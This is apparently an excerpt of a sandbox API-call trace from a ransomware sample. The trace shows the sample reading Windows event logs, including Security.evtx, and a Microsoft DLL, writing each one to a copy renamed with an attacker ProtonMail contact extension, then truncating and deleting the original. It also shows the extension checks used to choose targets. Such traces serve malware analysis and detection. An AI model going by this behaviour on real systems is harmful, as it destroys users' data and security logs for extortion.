	[0077.186] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=69632) returned 1
	[0077.186] CloseHandle (hObject=0x390) returned 1
	[0077.186] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx")) returned 0x20
	[0077.186] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0077.186] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0077.186] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.186] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.186] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0077.187] GetLastError () returned 0x0
	[0077.187] ReadFile (in: hFile=0x390, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0077.190] WriteFile (in: hFile=0x388, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0077.193] ReadFile (in: hFile=0x390, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0077.193] WriteFile (in: hFile=0x388, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x128, lpOverlapped=0x0) returned 1
	[0077.193] SetEndOfFile (hFile=0x388) returned 1
	[0077.193] CloseHandle (hObject=0x388) returned 1
	[0077.196] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.196] SetEndOfFile (hFile=0x390) returned 1
	[0077.198] CloseHandle (hObject=0x390) returned 1
	[0077.198] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0077.199] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx")) returned 1
	[0077.199] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0077.199] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0077.199] lstrlenW (lpString=".doc") returned 4
	[0077.199] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.199] lstrlenW (lpString=".docx") returned 5
	[0077.199] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.199] lstrlenW (lpString=".pdf") returned 4
	[0077.199] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.199] lstrlenW (lpString=".xls") returned 4
	[0077.199] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.199] lstrlenW (lpString=".xlsx") returned 5
	[0077.199] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.199] lstrlenW (lpString=".ppt") returned 4
	[0077.199] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.200] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0077.200] lstrlenW (lpString=".zip") returned 4
	[0077.200] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.200] lstrlenW (lpString=".rar") returned 4
	[0077.200] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.200] lstrlenW (lpString=".bz2") returned 4
	[0077.200] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.200] lstrlenW (lpString=".7z") returned 3
	[0077.200] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.200] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0077.200] lstrlenW (lpString=".dbf") returned 4
	[0077.200] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.200] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0077.200] lstrlenW (lpString=".1cd") returned 4
	[0077.200] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.200] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0077.200] lstrlenW (lpString=".jpg") returned 4
	[0077.200] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.200] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0077.200] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0077.200] lstrlenW (lpString=".doc") returned 4
	[0077.200] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.200] lstrlenW (lpString=".docx") returned 5
	[0077.200] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.200] lstrlenW (lpString=".pdf") returned 4
	[0077.201] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.201] lstrlenW (lpString=".xls") returned 4
	[0077.201] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.201] lstrlenW (lpString=".xlsx") returned 5
	[0077.201] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.201] lstrlenW (lpString=".ppt") returned 4
	[0077.201] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.201] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0077.201] lstrlenW (lpString=".zip") returned 4
	[0077.201] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.201] lstrlenW (lpString=".rar") returned 4
	[0077.201] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.201] lstrlenW (lpString=".bz2") returned 4
	[0077.201] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.201] lstrlenW (lpString=".7z") returned 3
	[0077.201] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.201] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0077.201] lstrlenW (lpString=".dbf") returned 4
	[0077.201] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.201] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0077.201] lstrlenW (lpString=".1cd") returned 4
	[0077.201] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.201] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50
	[0077.201] lstrlenW (lpString=".jpg") returned 4
	[0077.201] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.202] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0077.202] lstrlenW (lpString="Microsoft-Windows-User Profile Service%4Operational.evtx") returned 56
	[0077.202] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0077.202] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=69632) returned 1
	[0077.202] CloseHandle (hObject=0x390) returned 1
	[0077.202] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx")) returned 0x20
	[0077.202] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0077.203] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0077.203] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.203] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.203] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0077.203] GetLastError () returned 0x0
	[0077.203] ReadFile (in: hFile=0x390, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0077.309] WriteFile (in: hFile=0x388, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0077.311] ReadFile (in: hFile=0x390, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0077.311] WriteFile (in: hFile=0x388, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x144, lpOverlapped=0x0) returned 1
	[0077.311] SetEndOfFile (hFile=0x388) returned 1
	[0077.544] CloseHandle (hObject=0x388) returned 1
	[0077.560] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.560] SetEndOfFile (hFile=0x390) returned 1
	[0077.561] CloseHandle (hObject=0x390) returned 1
	[0077.562] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0077.562] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx")) returned 1
	[0077.562] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0077.562] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0077.562] lstrlenW (lpString=".doc") returned 4
	[0077.562] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.562] lstrlenW (lpString=".docx") returned 5
	[0077.562] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.562] lstrlenW (lpString=".pdf") returned 4
	[0077.562] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.562] lstrlenW (lpString=".xls") returned 4
	[0077.562] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.562] lstrlenW (lpString=".xlsx") returned 5
	[0077.562] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.562] lstrlenW (lpString=".ppt") returned 4
	[0077.562] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.562] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0077.562] lstrlenW (lpString=".zip") returned 4
	[0077.562] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.563] lstrlenW (lpString=".rar") returned 4
	[0077.563] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.563] lstrlenW (lpString=".bz2") returned 4
	[0077.563] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.563] lstrlenW (lpString=".7z") returned 3
	[0077.563] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.563] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0077.563] lstrlenW (lpString=".dbf") returned 4
	[0077.563] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.563] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0077.563] lstrlenW (lpString=".1cd") returned 4
	[0077.563] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.563] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0077.563] lstrlenW (lpString=".jpg") returned 4
	[0077.563] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.563] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0077.563] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0077.563] lstrlenW (lpString=".doc") returned 4
	[0077.563] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.563] lstrlenW (lpString=".docx") returned 5
	[0077.563] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.563] lstrlenW (lpString=".pdf") returned 4
	[0077.563] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.563] lstrlenW (lpString=".xls") returned 4
	[0077.563] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.563] lstrlenW (lpString=".xlsx") returned 5
	[0077.563] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.563] lstrlenW (lpString=".ppt") returned 4
	[0077.563] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.563] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0077.563] lstrlenW (lpString=".zip") returned 4
	[0077.563] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.564] lstrlenW (lpString=".rar") returned 4
	[0077.564] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.564] lstrlenW (lpString=".bz2") returned 4
	[0077.564] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.564] lstrlenW (lpString=".7z") returned 3
	[0077.564] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.564] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0077.564] lstrlenW (lpString=".dbf") returned 4
	[0077.564] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.564] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0077.564] lstrlenW (lpString=".1cd") returned 4
	[0077.564] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.564] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 64
	[0077.564] lstrlenW (lpString=".jpg") returned 4
	[0077.564] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.564] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0077.564] lstrlenW (lpString="Security.evtx") returned 13
	[0077.564] CreateFileW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0077.564] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=1118208) returned 1
	[0077.564] CloseHandle (hObject=0x390) returned 1
	[0077.565] GetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx")) returned 0x20
	[0077.565] GetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\security.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0077.565] CreateFileW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0077.565] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.565] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.565] CreateFileW (lpFileName="C:\\Logs\\Security.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\security.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0077.565] GetLastError () returned 0x0
	[0077.565] ReadFile (in: hFile=0x390, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0077.588] WriteFile (in: hFile=0x388, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0077.842] ReadFile (in: hFile=0x390, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x11010, lpOverlapped=0x0) returned 1
	[0077.852] WriteFile (in: hFile=0x388, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x11020, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x11020, lpOverlapped=0x0) returned 1
	[0077.857] ReadFile (in: hFile=0x390, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0077.857] WriteFile (in: hFile=0x388, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0xee, lpOverlapped=0x0) returned 1
	[0077.857] SetEndOfFile (hFile=0x388) returned 1
	[0077.857] CloseHandle (hObject=0x388) returned 1
	[0078.013] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.013] SetEndOfFile (hFile=0x390) returned 1
	[0078.014] CloseHandle (hObject=0x390) returned 1
	[0078.015] SetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0078.015] DeleteFileW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx")) returned 1
	[0078.015] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0078.015] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0078.015] lstrlenW (lpString=".doc") returned 4
	[0078.015] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0078.015] lstrlenW (lpString=".docx") returned 5
	[0078.015] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0078.015] lstrlenW (lpString=".pdf") returned 4
	[0078.015] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0078.015] lstrlenW (lpString=".xls") returned 4
	[0078.015] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0078.015] lstrlenW (lpString=".xlsx") returned 5
	[0078.015] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0078.015] lstrlenW (lpString=".ppt") returned 4
	[0078.016] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0078.016] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0078.016] lstrlenW (lpString=".zip") returned 4
	[0078.016] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0078.016] lstrlenW (lpString=".rar") returned 4
	[0078.016] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0078.016] lstrlenW (lpString=".bz2") returned 4
	[0078.016] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0078.016] lstrlenW (lpString=".7z") returned 3
	[0078.016] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0078.016] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0078.016] lstrlenW (lpString=".dbf") returned 4
	[0078.016] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0078.016] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0078.016] lstrlenW (lpString=".1cd") returned 4
	[0078.016] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0078.016] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0078.016] lstrlenW (lpString=".jpg") returned 4
	[0078.016] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0078.016] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0078.016] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0078.016] lstrlenW (lpString=".doc") returned 4
	[0078.016] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0078.016] lstrlenW (lpString=".docx") returned 5
	[0078.016] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0078.016] lstrlenW (lpString=".pdf") returned 4
	[0078.016] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0078.016] lstrlenW (lpString=".xls") returned 4
	[0078.016] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0078.016] lstrlenW (lpString=".xlsx") returned 5
	[0078.016] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0078.016] lstrlenW (lpString=".ppt") returned 4
	[0078.017] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0078.017] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0078.017] lstrlenW (lpString=".zip") returned 4
	[0078.017] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0078.017] lstrlenW (lpString=".rar") returned 4
	[0078.017] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0078.017] lstrlenW (lpString=".bz2") returned 4
	[0078.017] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0078.017] lstrlenW (lpString=".7z") returned 3
	[0078.017] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0078.017] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0078.017] lstrlenW (lpString=".dbf") returned 4
	[0078.017] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0078.017] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0078.017] lstrlenW (lpString=".1cd") returned 4
	[0078.017] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0078.017] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0078.017] lstrlenW (lpString=".jpg") returned 4
	[0078.017] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0078.017] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0078.017] lstrlenW (lpString="api-ms-win-core-file-l1-2-0.dll") returned 31
	[0078.017] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0078.018] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=18624) returned 1
	[0078.018] CloseHandle (hObject=0x390) returned 1
	[0078.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll")) returned 0x20
	[0078.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0078.018] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0078.018] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.018] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.018] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0078.019] GetLastError () returned 0x0
